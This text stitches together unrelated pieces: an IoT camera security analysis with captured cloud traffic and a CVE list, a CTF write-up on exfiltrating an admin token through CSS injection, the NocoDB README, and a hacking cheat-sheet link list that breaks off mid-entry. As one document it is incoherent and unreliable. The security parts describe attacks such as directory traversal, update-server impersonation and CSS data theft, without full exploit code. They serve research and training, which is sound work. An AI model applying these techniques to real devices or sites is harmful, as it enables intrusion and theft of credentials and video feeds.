request to `pub-cfg.secu100.net` was sent. It seems to be some kind of configuration server. ``` POST http://pub-cfg.secu100.net:8086/ HTTP/1.1 Accept: */* Content-Length: 253 Content-Type: text/html Host: pub-cfg.secu100.net:8086 User-Agent: XAPP { "CfgProtocol": { "Header": { "Version": "1.0", "CSeq": "1", "MessageType": "MSG_XM_DNS_MULTIQUERY_REQ" }, "Body": { "DomainName": "pub-dss-hls.secu100.net", "Deviceinfo": [{ "SerialNumber": "REDACTED" }] } } } HTTP/1.1 200 OK Server: openresty/1.17.8.2 Date: Fri, 23 Apr 2021 12:29:03 GMT Content-Type: text/html Connection: keep-alive content-length: 214 { "CfgProtocol": { "Body": [{ "ServerIP":"18.194.150.179", "SerialNumber":"REDACTED" }], "Header": { "ErrorNum":"200", "Version":"1.0", "CSeq":"1", "MessageType":"MSG_XM_DNS_MULTIQUERY_RSP", "ErrorString":"Success OK" } } } ``` Later the camera sends `HTTP POST` request to `logsvr.xmcsrv.net` and reports it's capabilities to the server for whatever reason: ``` POST /getcfg HTTP/1.1 Host: logsvr.xmcsrv.net Content-Length: 30 { "sn" : "REDACTED" } HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 12 Apr 2021 10:39:31 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 353 Connection: keep-alive { "ret":200, "msg":"Success", "methods": [ { "protocol":"HTTP", "params": { "url":"http://logsvr.xmcsrv.net/upload" } } ], "modules": [ { "module":"runtime", "interval":1800, "want":["cpu","mem","bat","reboot","wakeup"] }, { "module":"xmcloud", "interval":3600, "want":["pms","rps","wps","css","dss","ip"] }, { "module":"config", "interval":3600, "want":["mcu","pir","timezone"] } ] } ``` Last thing that I have captured is camera's communication with an update server: ``` /list HTTP/1.1 Connection: Keep-Alive Host: 120.92.92.241 Content-Length: 159 { "UUID":"REDACTED", "DevID":"REDACTED", "DevType":"IPC", "CurVersion":"2020-11-24", "Expect":"Latest", "Language":"English", "Manual":"True" } /list HTTP/1.1 Connection: Keep-Alive Host: 120.92.92.241 Content-Length: 159 { "UUID":"REDACTED", "DevID":"REDACTED", "DevType":"IPC", "CurVersion":"2020-11-24", "Expect":"Latest", "Language":"English", "Manual":"True" } HTTP/1.1 204 Server: nginx/1.12.2 Date: Mon, 19 Apr 2021 10:28:25 GMT Content-Type: text/html;charset=utf-8 Connection: keep-alive X-Application-Context: application:production ``` Since there is no authentication required for sending the request to the update server checking for new firmware versions and downloading them, it makes me wonder if I could impersonate the IP camera and download the camera's firmware from there for some reverse engineering attempts... ## Connecting to Besder camera from ICSee app on a smartphone ### Connection scheme between smartphone and AWS cloud server and IP Camera In this subsection I will present the schema of communication between the smartphone, Besder camera and Amazon AWS servers sitting between these devices. ![Communication between smartphone and IP Camera via cloud](/img/Communication_between_smartphone_and_IP_Camera_via_cloud.png) You can find a [drawio scheme file for this here](/schematics/Communication_between_smartphone_and_IP_Camera_via_cloud.drawio) ### Exchanged queries between smartphone and AWS cloud server and IP Camera Firstly, `HTTP POST` request is sent from a smartphone to an `Amazon AWS` server. It contains serial number of the camera I wanted to connect to, among other things. Request's purpose is to ask for a new connection with a different `Amazon AWS`server by calling `MSG_CLI_NEED_CON_REQ` query. The AWS server sends `HTTP OK` response to the smartphone. It contains IP address of a ***second*** Amazon AWS server and it's port that is used for communicating. ``` POST / HTTP/1.1 Host: 18.194.150.179 Content-Length: 328 { "AgentProtocol" : { "Body" : { "Authcode" : "REDACTED", "ClientToken" : "REDACTED", "DestPort" : "34567", "SerialNumber" : "REDACTED", "ServiceType" : "RpsCmd", "SessionId" : "MD5_HASH" }, "Header" : { "MessageType" : "MSG_CLI_NEED_CON_REQ", "Version" : "1.0" } } } HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 203 { "AgentProtocol": { "Body": { "AgentServerIp":"18.193.69.65", "AgentServerPort":"6611" }, "Header": { "CSeq":"3", "ErrorNum":"200", "ErrorString":"Success OK", "MessageType":"MSG_CLI_NEED_CON_RSP", "Version":"1.0" } } } ``` The `HTTP POST` request containing IP address and communication port of ***second*** AWS server is also sent to the IP camera. ``` POST / HTTP/1.1 Content-Length: 265 { "AgentProtocol": { "Body": { "AgentServerIp":"18.193.69.65", "AgentServerPort":"6611", "ClientToken":"SAME_CLIENT_TOKEN", "DestPort":"34567", "SessionId":"SAME_MD5_HASH" }, "Header": { "CSeq":"3", "MessageType":"MSG_DEV_START_CON", "Version":"1.0" } } } ``` All further communication between the smartphone and the Besder IP camera is carried out through the second Amazon AWS server and is encrypted. Communication between the smartphone and Amazon AWS server is encrypted by using `TLS v1.2` protocol and communication between the AWS server and Besder IP camera is encrypted using `SSL` protocol (although I am not sure about the protocol's version used on this end of communication and whether an older SSL or a more updated TLS protocol is used). # Data security ***Updated 25/09/2021*** While analyzing domain information of an Amazon AWS server with an IP address of `3.126.12.232`, which Besder 6024PB-XMA501 IP camera connects to, I have found a couple of Base64 encoded SSL certificates, the formatting of which ***matches*** the formatting of the data sent via Besder IP camera's TCP port `34567`. So it is probably safe to assume that some form of SSL encryption is used to hide the data that is being sent. ***Note:*** for analyzing domain information I was using utility called `whois`. # Potential vulnerabilities In this section I will present potential [untested] vulnerabilities within the tested Besder 6024PB-XMA501 camera. The exploits and their descriptions were found and taken from [cve.mitre.org](https://cve.mitre.org/) website and the found vulnerabilities were associated with ***Xongmai XMeye P2P*** cloud services. 1. ***[CVE-2017-16725](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16725)*** - A Stack-based Buffer Overflow issue was discovered in Xiongmai Technology IP Cameras and DVRs using the NetSurveillance Web interface. The stack-based buffer overflow vulnerability has been identified, which may allow an attacker to execute code remotely or crash the device. After rebooting, the device restores itself to a more vulnerable state in which Telnet is accessible. 2. ***[CVE-2017-7577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7577)*** - XiongMai uc-httpd has directory traversal allowing the reading of arbitrary files via a "GET ../" HTTP request. 3. ***[CVE-2018-10088](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10088)*** - Buffer overflow in XiongMai uc-httpd 1.0.0 has unspecified impact and attack vectors, a different vulnerability than CVE-2017-16725. 4. ***[CVE-2018-17915](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17915)*** - All versions of Hangzhou Xiongmai Technology Co., Ltd XMeye P2P Cloud Server do not encrypt all device communication. This includes the XMeye service and firmware update communication. This could allow an attacker to eavesdrop on video feeds, steal XMeye login credentials, or impersonate the update server with malicious update code. 5. ***[CVE-2018-17917](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17917)*** - All versions of Hangzhou Xiongmai Technology Co., Ltd XMeye P2P Cloud Server may allow an attacker to use MAC addresses to enumerate potential Cloud IDs. Using this ID, the attacker can discover and connect to valid devices using one of the supported apps. 6. ***[CVE-2018-17919](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17919)*** - All versions of Hangzhou Xiongmai Technology Co., Ltd XMeye P2P Cloud Server may allow an attacker to use an undocumented user account "default" with its default password to login to XMeye and access/view video streams. 7. ***[CVE-2019-11878](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11878)*** - An issue was discovered on XiongMai Besder IP20H1 V4.02.R12.00035520.12012.047500.00200 cameras. An attacker on the same local network as the camera can craft a message with a size field larger than 0x80000000 and send it to the camera, related to an integer overflow or use of a negative number. This then crashes the camera for about 120 seconds. # Camera firmware As I have mentioned before, in this section I will elaborate on the topic of firmware of Besder camera. There are multiple ways to retrieve the firmware of a IP camera: 1. Download it from the official website of the camera's manufacturer, if the firmware is available there; 2. Retrieve the firmware from the device by some sort of a ***soft*** method, for example: * locate the firmware within the camera's control interface - separate program or a web interface, like a `NetSurveillance WEB` used in tested Besder camera; * find the firmware by gaining access to the camera's shell by connecting to one of the open ports that have a terminal service running on top of them, if there are any (like `telnet` or a ***telnet-like*** service running on a port `9527` found in some older (mostly those released before [Mirai malware](https://en.wikipedia.org/wiki/Mirai_(malware))) surveillance devices and also giving shell access to a device); * find the firmware by exploiting some known vulnerabilities within the device. 3. Retrieve the firmware from the device by some sort of a ***hard*** method, for example: * ***JTAG***; * ***Serial console***. Now I will go through the listed possibilities and try to determine what things I could do further to retrieve the firmware of the device: 1. As far as I have checked, there is no posibility to download the firmware for `Besder 6024PB-XMA501` IP camera over the internet. One interesting thing that I have noticed was that I could not find the exact model of my camera. There are some other `Besder 6024PB` cameras, but none ending with `XMA501`. 2. The `NETSurveillance WEB` interface for controlling the camera has option to update the camera's firmware, which downloads the update, if it is available, and then automatically applies it. Also it is possible to apply the update manually with a file from a local drive, although I was not able to find an option to save the firmware file to my local drive, so there's that. 3. Talking about hard _"hacking"_ methods, I do not have the tools for that at the moment, so it is not a possibility as of now. 4. As mentioned in previous section, I was able to find some vulnerabilities that _might_ affect this Besder camera, although I would need to test them against the device to prove if those vulnerabilities could be used for obtaining the firmware. 5. Last part is the part that includes open ports. There are ***no*** open ports that could be used for gaining shell access, namely ports `23`, `9527` and, by some reports that I have found, `9530`. So, no luck there. Although it might also be possible to retrieve the firmware from the ***update server*** that the camera is communicating with as the `JSON` formatted update request and answer both are sent in plain text and no re-authentication of the user is required to perform this action. For that I will set up a ***VPN*** and come back for further testing. # Conclusion During this analysis I have found open ports, running services, OS version and other technical information about the camera. After that I tested camera control capabilities within a control panel in a web browser. Later communication with cloud servers and services was analyzed. Lastly, the security and encryption/obfuscation of sent data was checked.
# Ugliest Website This was an awesome challenge covering data exfiltration CSS injection. I didn't solve it during the competition, but put it together afterwords as a training exercise. The gist of the challenge / solution flow is: * We need to exfiltrate the admin/judge's timestamp and 64-character API token (the UID is always 1) * All exfiltration must spawn from a single previously-uploaded CSS file; it's not possible to recursively `@import` new style sheets due to the nonce-based CSP for CSS (but I like having this idea in the back pocket for future CTFs) * I think a font-ligature attack with scrollbar side channel MIGHT be possible but... I didn't feel like generating all of the WOFF fonts * It is possible to use CSS animations + CSS variables + regex selectors to leak all three-character sub-sets of the admin's 64 character token (this length could be more without the 500kb CSS file upload size limit) I took this opportunity to brush up on server/client writing with [`aiohttp`](https://aiohttp.readthedocs.io/en/stable/). The rough [solve script](./solve.py) that I wrote after the competition is included in this directory. Some great resources I read over while working on this: * [Scriptless attacks -- Stealing the pie without touching the sill](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.469.7647&rep=rep1&type=pdf) * [CSS injection primitives](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/) * [CSS injection attacks](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) * [Exfiltration via CSS injection](https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d) * [Stealing data with CSS](https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense) * [Slackers thread](https://old.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection) discussing what you can do with a single CSS injection I plan on reading up on the following topics to better optimize future solutions to similar problems: * [DNA sequence assembly problem](https://cs.stackexchange.com/questions/93815/merge-a-set-of-strings-based-on-overlaps) * [De novo sequence assemblers](https://en.wikipedia.org/wiki/De_novo_sequence_assemblers)
<h1 align="center" style="border-bottom: none"> <div> <a href="https://www.nocodb.com"> <img src="/packages/nc-gui/assets/img/icons/512x512.png" width="80" /> <br> NocoDB </a> </div> The Open Source Airtable Alternative <br> </h1> <p align="center"> Turns any MySQL, PostgreSQL, SQL Server, SQLite & MariaDB into a smart spreadsheet. </p> <div align="center"> [![Node version](https://img.shields.io/badge/node-%3E%3D%2016.14.0-brightgreen)](http://nodejs.org/download/) [![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-green.svg)](https://conventionalcommits.org) </div> <p align="center"> <a href="http://www.nocodb.com"><b>Website</b></a> • <a href="https://discord.gg/5RgZmkW"><b>Discord</b></a> • <a href="https://community.nocodb.com/"><b>Community</b></a> • <a href="https://twitter.com/nocodb"><b>Twitter</b></a> • <a href="https://www.reddit.com/r/NocoDB/"><b>Reddit</b></a> • <a href="https://docs.nocodb.com/"><b>Documentation</b></a> </p> ![All Views](https://user-images.githubusercontent.com/35857179/194825053-3aa3373d-3e0f-4b42-b3f1-42928332054a.gif) <div align="center"> [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263434-75fe793d-42af-49e4-b964-d70920e41655.png">](markdown/readme/languages/chinese.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263474-787d71e7-3a87-42a8-92a8-be1d1f55413d.png">](markdown/readme/languages/french.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263531-fae58600-6616-4b43-95a0-5891019dd35d.png">](markdown/readme/languages/german.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263589-3dbeda9a-0d2e-4bbd-b1fc-691404bb74fb.png">](markdown/readme/languages/spanish.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263669-f567196a-d4e8-4143-a80a-93d3be32ba90.png">](markdown/readme/languages/portuguese.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263707-ba4e04a4-268a-4626-91b8-048e572fd9f6.png">](markdown/readme/languages/italian.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263770-38e3e79d-11d4-472e-ac27-ae0f17cf65c4.png">](markdown/readme/languages/japanese.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263822-28fce9de-915a-44dc-962d-7a61d340e91d.png">](markdown/readme/languages/korean.md) [<img height="38" src="https://user-images.githubusercontent.com/61551451/135263888-151d4ad1-7084-4943-97c9-56f28cd40b80.png">](markdown/readme/languages/russian.md) </div> <p align="center"><a href="markdown/readme/languages/README.md"><b>See other languages »</b></a></p> <img src="https://static.scarf.sh/a.png?x-pxid=c12a77cc-855e-4602-8a0f-614b2d0da56a" /> # Join Our Team <p align=""><a href="http://careers.nocodb.com" target="_blank"><img src="https://user-images.githubusercontent.com/61551451/169663818-45643495-e95b-48e2-be13-01d6a77dc2fd.png" width="250"/></a></p> # Join Our Community <a href="https://discord.gg/5RgZmkW" target="_blank"> <img src="https://discordapp.com/api/guilds/661905455894888490/widget.png?style=banner3" alt=""> </a> <!-- <a href="https://community.nocodb.com/" target="_blank"> <img src="https://i2.wp.com/www.feverbee.com/wp-content/uploads/2018/07/logo-discourse.png" alt=""> </a> --> [![Stargazers repo roster for @nocodb/nocodb](https://reporoster.com/stars/nocodb/nocodb)](https://github.com/nocodb/nocodb/stargazers) # Quick try ## Docker ```bash # for SQLite docker run -d --name nocodb \ -v "$(pwd)"/nocodb:/usr/app/data/ \ -p 8080:8080 \ nocodb/nocodb:latest # for MySQL docker run -d --name nocodb-mysql \ -v "$(pwd)"/nocodb:/usr/app/data/ \ -p 8080:8080 \ -e NC_DB="mysql2://host.docker.internal:3306?u=root&p=password&d=d1" \ -e NC_AUTH_JWT_SECRET="569a1821-0a93-45e8-87ab-eb857f20a010" \ nocodb/nocodb:latest # for PostgreSQL docker run -d --name nocodb-postgres \ -v "$(pwd)"/nocodb:/usr/app/data/ \ -p 8080:8080 \ -e NC_DB="pg://host.docker.internal:5432?u=root&p=password&d=d1" \ -e NC_AUTH_JWT_SECRET="569a1821-0a93-45e8-87ab-eb857f20a010" \ nocodb/nocodb:latest # for MSSQL docker run -d --name nocodb-mssql \ -v "$(pwd)"/nocodb:/usr/app/data/ \ -p 8080:8080 \ -e NC_DB="mssql://host.docker.internal:1433?u=root&p=password&d=d1" \ -e NC_AUTH_JWT_SECRET="569a1821-0a93-45e8-87ab-eb857f20a010" \ nocodb/nocodb:latest ``` > To persist data in docker you can mount volume at `/usr/app/data/` since 0.10.6. Otherwise your data will be lost after recreating the container. > If you plan to input some special characters, you may need to change the character set and collation yourself when creating the database. Please check out the examples for [MySQL Docker](https://github.com/nocodb/nocodb/issues/1340#issuecomment-1049481043). ## Binaries ##### MacOS (x64) ```bash curl http://get.nocodb.com/macos-x64 -o nocodb -L && chmod +x nocodb && ./nocodb ``` ##### MacOS (arm64) ```bash curl http://get.nocodb.com/macos-arm64 -o nocodb -L && chmod +x nocodb && ./nocodb ``` ##### Linux (x64) ```bash curl http://get.nocodb.com/linux-x64 -o nocodb -L && chmod +x nocodb && ./nocodb ``` ##### Linux (arm64) ```bash curl http://get.nocodb.com/linux-arm64 -o nocodb -L && chmod +x nocodb && ./nocodb ``` ##### Windows (x64) ```bash iwr http://get.nocodb.com/win-x64.exe -o Noco-win-x64.exe .\Noco-win-x64.exe ``` ##### Windows (arm64) ```bash iwr http://get.nocodb.com/win-arm64.exe -o Noco-win-arm64.exe .\Noco-win-arm64.exe ``` ## Docker Compose We provide different docker-compose.yml files under [this directory](https://github.com/nocodb/nocodb/tree/master/docker-compose). Here are some examples. ```bash git clone https://github.com/nocodb/nocodb # for MySQL cd nocodb/docker-compose/mysql # for PostgreSQL cd nocodb/docker-compose/pg # for MSSQL cd nocodb/docker-compose/mssql docker-compose up -d ``` > To persist data in docker, you can mount volume at `/usr/app/data/` since 0.10.6. Otherwise your data will be lost after recreating the container. > If you plan to input some special characters, you may need to change the character set and collation yourself when creating the database. Please check out the examples for [MySQL Docker Compose](https://github.com/nocodb/nocodb/issues/1313#issuecomment-1046625974). ## NPX You can run the below command if you need an interactive configuration. ``` npx create-nocodb-app ``` <img src="https://user-images.githubusercontent.com/35857179/163672964-00ef5d62-0434-447d-ac01-3ebb780099b9.png" width="520px"/> ## Node Application We provide a simple NodeJS Application for getting started. ```bash git clone https://github.com/nocodb/nocodb-seed cd nocodb-seed npm install npm start ``` # GUI Access Dashboard using: [http://localhost:8080/dashboard](http://localhost:8080/dashboard) # Screenshots ![1](https://user-images.githubusercontent.com/35857179/194844858-d353bd15-1edf-406c-889b-ba60f76831f4.png) ![2](https://user-images.githubusercontent.com/35857179/194844872-1a1094b9-761b-4ab6-a0ab-8e11dcae6571.png) ![3](https://user-images.githubusercontent.com/35857179/194844881-23f12c4c-7a5f-403e-928c-ef4c53b2665d.png) ![4](https://user-images.githubusercontent.com/35857179/194844885-faaf042f-bad2-4924-84f0-2c08813271d8.png) ![5](https://user-images.githubusercontent.com/35857179/194844886-a17006e0-979d-493f-83c4-0e72f5a9b716.png) ![6](https://user-images.githubusercontent.com/35857179/194844890-b9f265ae-6e40-4fa5-9267-d1367c27c8e6.png) ![7](https://user-images.githubusercontent.com/35857179/194844891-bee9aea3-aff3-4247-a918-b2f3fbbc672e.png) ![8](https://user-images.githubusercontent.com/35857179/194844893-82d5e21b-ae61-41bd-9990-31ad659bf490.png) ![9](https://user-images.githubusercontent.com/35857179/194844897-cfd79946-e413-4c97-b16d-eb4d7678bb79.png) ![10](https://user-images.githubusercontent.com/35857179/194844902-c0122570-0dd5-41cf-a26f-6f8d71fefc99.png) ![11](https://user-images.githubusercontent.com/35857179/194844903-c1e47f40-e782-4f5d-8dce-6449cc70b181.png) ![12](https://user-images.githubusercontent.com/35857179/194844907-09277d3e-cbbf-465c-9165-6afc4161e279.png) # Table of Contents - [Quick try](#quick-try) - [NPX](#npx) - [Node Application](#node-application) - [Docker](#docker) - [Docker Compose](#docker-compose) - [GUI](#gui) - [Join Our Community](#join-our-community) - [Screenshots](#screenshots) - [Table of Contents](#table-of-contents) - [Features](#features) - [Rich Spreadsheet Interface](#rich-spreadsheet-interface) - [App Store for Workflow Automations](#app-store-for-workflow-automations) - [Programmatic Access](#programmatic-access) - [Sync Schema](#sync-schema) - [Audit](#audit) - [Production Setup](#production-setup) - [Environment variables](#environment-variables) - [Development Setup](#development-setup) - [Contributing](#contributing) - [Why are we building this?](#why-are-we-building-this) - [Our Mission](#our-mission) - [License](#license) - [Contributors](#contributors) # Features ### Rich Spreadsheet Interface - ⚡ &nbsp;Basic Operations: Create, Read, Update and Delete Tables, Columns, and Rows - ⚡ &nbsp;Fields Operations: Sort, Filter, Hide / Unhide Columns - ⚡ &nbsp;Multiple Views Types: Grid (By default), Gallery, Form View and Kanban View - ⚡ &nbsp;View Permissions Types: Collaborative Views, & Locked Views - ⚡ &nbsp;Share Bases / Views: either Public or Private (with Password Protected) - ⚡ &nbsp;Variant Cell Types: ID, LinkToAnotherRecord, Lookup, Rollup, SingleLineText, Attachment, Currency, Formula, etc - ⚡ &nbsp;Access Control with Roles: Fine-grained Access Control at different levels - ⚡ &nbsp;and more ... ### App Store for Workflow Automations We provide different integrations in three main categories. See <a href="https://docs.nocodb.com/setup-and-usages/account-settings#app-store" target="_blank">App Store</a> for details. - ⚡ &nbsp;Chat: Slack, Discord, Mattermost, and etc - ⚡ &nbsp;Email: AWS SES, SMTP, MailerSend, and etc - ⚡ &nbsp;Storage: AWS S3, Google Cloud Storage, Minio, and etc ### Programmatic Access We provide the following ways to let users programmatically invoke actions. You can use a token (either JWT or Social Auth) to sign your requests for authorization to NocoDB. - ⚡ &nbsp;REST APIs - ⚡ &nbsp;NocoDB SDK ### Sync Schema We allow you to sync schema changes if you have made changes outside NocoDB GUI. However, it has to be noted then you will have to bring your own schema migrations for moving from one environment to another. See <a href="https://docs.nocodb.com/setup-and-usages/sync-schema/" target="_blank">Sync Schema</a> for details. ### Audit We are keeping all the user operation logs in one place. See <a href="https://docs.nocodb.com/setup-and-usages/audit" target="_blank">Audit</a> for details. # Production Setup By default, SQLite is used for storing metadata. However, you can specify your database. The connection parameters for this database can be specified in `NC_DB` environment variable. Moreover, we also provide the below environment variables for configuration. ## Environment variables Please refer to the [Environment variables](https://docs.nocodb.com/getting-started/environment-variables) # Development Setup Please refer to [Development Setup](https://docs.nocodb.com/engineering/development-setup) # Contributing Please refer to [Contribution Guide](https://github.com/nocodb/nocodb/blob/master/.github/CONTRIBUTING.md). # Why are we building this? Most internet businesses equip themselves with either spreadsheet or a database to solve their business needs. Spreadsheets are used by Billion+ humans collaboratively every single day. However, we are way off working at similar speeds on databases which are way more powerful tools when it comes to computing. Attempts to solve this with SaaS offerings have meant horrible access controls, vendor lock-in, data lock-in, abrupt price changes & most importantly a glass ceiling on what's possible in the future. # Our Mission Our mission is to provide the most powerful no-code interface for databases that is open source to every single internet business in the world. This would not only democratise access to a powerful computing tool but also bring forth a billion+ people who will have radical tinkering-and-building abilities on the internet. # License <p> This project is licensed under <a href="./LICENSE">AGPLv3</a>. </p> # Contributors Thank you for your contributions! We appreciate all the contributions from the community. <a href="https://github.com/nocodb/nocodb/graphs/contributors"> <img src="https://contrib.rocks/image?repo=nocodb/nocodb" /> </a>
<h2 align="center">Remember to take a look at the <code>/More</code> folder! ;)</h2> # List of Contents 1. [Links](#links) 2. [CTF Sites](#ctf-sites) 3. [Books](#books) 4. [Services](#services) 5. [Terms](#terms) 6. [Principles and Standards](#principles-and-standards) 1. [CIA Triad](#cia-triad) 2. [Principle of privileges](#principles-of-privileges) 3. [Security Models](#security-models) 4. [Threat modeling and incident response](#threat-modeling-and-incident-response) 5. [Ethics](#ethics) 6. [Methodologies](#methodologies) 7. [Black, grey & white box](#black-grey--white-box) 8. [ISO27001](#iso27001) 7. [Linux Commands](#linux-commands) 8. [Tools (CLI)](#tools-cli) 1. [Aircrack-ng](#aircrack-ng) 2. [Feroxbuster](#feroxbuster) 3. [Hashcat](#hashcat) 4. [Hydra](#hydra) 5. [Gobuster](#gobuster) 6. [John The Ripper](#john-the-ripper) 7. [Metasploit](#metasploit) 8. [Netcat](#netcat) 9. [Nikto](#nikto-2) 10. [Nmap](#nmap) 9. [Tools (GUI)](#tools-gui) 1. [Burp Suite](#burp) 2. [Nessus](#nessus) 3. [Wireshark](#wireshark) 10. [Text Editors](#text-editors) 1. [Nano](#nano) 2. [VIM](#vim) 11. [Cryptology](#cryptology) 1. [Generate Keys](#generate-keys) 12. [Networking](#networking) 13. [Web Exploitation](#web-exploitation) 1. [Content Discovery](#content-discovery) 2. [SQL Injection](#sql-injection) 3. [Command Injection](#command-injection) 4. [Directory Traversal](#directory-traversal) 5. [Authentication Bypass](#authentication-bypass) 6. [Insecure Direct Object Reference](#insecure-direct-object-reference) 7. [File Inclusion](#file-inclusion) 8. [Cross Site Request Forgery](#cross-site-request-forgery) 9. [Cross Site Scripting](#cross-site-scripting-xss) 10. [Server Side Request Forgery](#server-side-request-forgery) 14. [Forensics](#forensics) 1. [File Analysis](#file-analysis) 2. [PCAP Analysis](#pcap-analysis) 3. [Steganography](#steganography) 4. [Memory Analysis](#memory-analysis) 5. [Disk Imaging](#disk-imaging) 15. [Binary Exploitation](#binary-exploitation) 1. [Registers](#registers) 2. [The Stack](#the-stack) 3. [Calling Conventions](#calling-conventions) 4. [Global Offset Table (GOT)](#global-offset-table-got) 5. [Buffers and Buffer Overflows](#buffers) 6. [Return Oriented Programming (ROP)](#return-oriented-programming-rop) 7. [Binary Security](#binary-security) 8. [The Heap and Exploitation](#the-heap) 9. [Format String Vulnerability](#format-string-vulnerability) 16. [Reverse Engineering](#reverse-engineering) 1. [Assembly](#assembly) 2. [Disassemblers](#disassemblers) 17. [Cryptography](#cryptography) 1. [Encoding](#encoding) 2. [Hashing](#hashing) 3. [Ciphers](#ciphers) 4. [Encryption (RSA)](#encryption-rsa) 18. [Miscellaneous](#miscellaneous) 19. [Windows Exploitation](#windows-exploitation) 1. [Active Directory](#active-directory) 20. [Shells and Privilege Escalation](#shells-and-privilege-escalation) 1. [TTY Shell](#tty-shell) 2. [Privilege Escalation](#privilege-escalation) 21. [Vulnerabilities](#vulnerabilities) 1. [Social Engineering](#social-engineering) 2. [Misconfigurations](#misconfigurations) # Links [Abuse.ch](https://abuse.ch) - a collection of malware and threat intelligence feeds. [Ahmia](https://ahmia.fi/) - search engine for hidden services on the Tor network [AI Generated Photos](https://generated.photos) - 100.000 AI generated faces. [Aperisolve](https://aperisolve.com/) - all in one steganography analysis [Archive.org](https://archive.org/web/) - internet Archieve [ASCII Converter](https://www.branah.com/ascii-converter) - Hex, decimal, binary, base64, and ASCII converter [Assembly Tutorials](https://www.tutorialspoint.com/assembly_programming/index.htm) - assembly tutorials [Bcrypt Generator](https://bcrypt-generator.com) - a simple bcrypt generator [Bug Bounty](https://hackerone.com/bug-bounty-programs) - a list of bug bounty programs [Can I use](https://caniuse.com) - provides up-to-date browser support tables for support of front-end web technologies. [Censys](https://search.censys.io/) - search engine for internet connected devices [Cheatography](https://www.cheatography.com/) - over 3,000 free cheat sheets, revision aids and quick references. [CodeBeautify](https://codebeautify.org) - code Beautifier, Viewer and converter [Common ports](https://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-en-4/ch-ports.html) - a lists of the most common ports [Cipher Identifier](https://www.boxentriq.com/code-breaking/cipher-identifier) - cipher identifier [Convert Binary](https://www.convertbinary.com) - a wide range of different converters for binary numbers [Convertcsv](https://www.convertcsv.com/sql-to-csv.htm) - convert SQL to CSV [Crackstation (Rainbow tables)](https://crackstation.net) - hash cracker [CSS Reference](https://cssreference.io) - CSS reference [CVE Details](https://www.cvedetails.com/) - CVE security vulnerability advanced database. [CVE Mitre](https://cve.mitre.org) - list of publicly known cybersecurity vulnerabilities. [CVS](https://www.first.org/cvss/calculator/3.1) - Scoring System Calculator [CyberChef](https://gchq.github.io/CyberChef/) - a web app for encryption, encoding, compression and data analysis. [Cybercrime Tracker](https://cybercrime-tracker.net) - monitors and tracks various malware families that are used to perpetrate cyber crimes. [crt.sh](https://crt.sh) - Certificate Transparency Log Search Engine for subdomain enumeration. [CTF 101](https://ctf101.org) - learn the different CTF topics in cybersecurity [CTF Cryptography](https://charcharbinks.com/post/ctf_crypto_for_beginners/) - ctf cryptography for beginners [dCode](https://www.dcode.fr/en) - dcode.fr has many decoders for a lot of ciphers [dehashed](https://www.dehashed.com/) - is a hacked database search engine. [Diff Checker](https://www.diffchecker.com/image-compare/) - compare images [DNSDumpster](https://dnsdumpster.com) - free domain research tool that can discover hosts related to a domain [EmailHippo](https://emailhippo.com) - a free email verification tool. [Explain Shell](https://explainshell.com) - a tool to help you understand shell commands. [ExploitDB](https://www.exploit-db.com) - searchable archive from The Exploit Database. [fakenamegenerator](https://www.fakenamegenerator.com) - your randomly generated identity. [Feodo Tracker](https://feodotracker.abuse.ch) - a project by abuse.ch tracking the C2 infrastructure of the Feodo Tracker Botnet. [File Signature](https://www.garykessler.net/library/file_sigs.html) - a table of file signatures (aka "magic numbers") [File Signature Wiki](https://en.wikipedia.org/wiki/List_of_file_signatures) - another list of file signatures (aka "magic numbers") [Forensically](https://29a.ch/photo-forensics/#forensic-magnifier) - a tool to analyze images. [Godbolt](https://godbolt.org) - compiler explorer [Google advanced search](https://www.google.dk/advanced_search) - google dorking made easy [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) - juicy information found by dorking [GTFOBins](https://gtfobins.github.io) - list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. [HackerOne](https://www.hackerone.com) - HackerOne is a vulnerability coordination and bug bounty platform. [Hacking Glossary](https://resources.hackthebox.com/hacking-glossary) - a glossary of hacking terms made by HackTheBox. [Hash Analyzer](https://www.tunnelsup.com/hash-analyzer/) - tool to identify hash types [have i been pwned?](https://haveibeenpwned.com) - check if you have an account that has been compromised in a data breach. [HexEd](https://hexed.it) - HexEd is a powerful online hex editor running in your web browser [hilite.me](http://hilite.me) - converts your code snippets into pretty-printed HTML formats [HSV to RGB](https://www.rapidtables.com/convert/color/hsv-to-rgb.html) - HSV to RGB color converter [HTML Reference](https://htmlreference.io) - HTML reference [HTTrack](https://www.httrack.com) - website copier [Hunter.io](https://hunter.io) - find email addresses in seconds. [Image Color Picker](https://imagecolorpicker.com) - select a color and get the HTML Color Code of this pixel [Intelix](https://intelx.io) - Search Tor, I2P, data leaks and the public web by email, domain, IP, CIDR, Bitcoin address and more. [JoomScan](https://github.com/OWASP/joomscan) - Joomla Vulnerability Scanner [k8s-security](https://github.com/kabachook/k8s-security) - kubernetes security notes and best practices. [Kali Linux 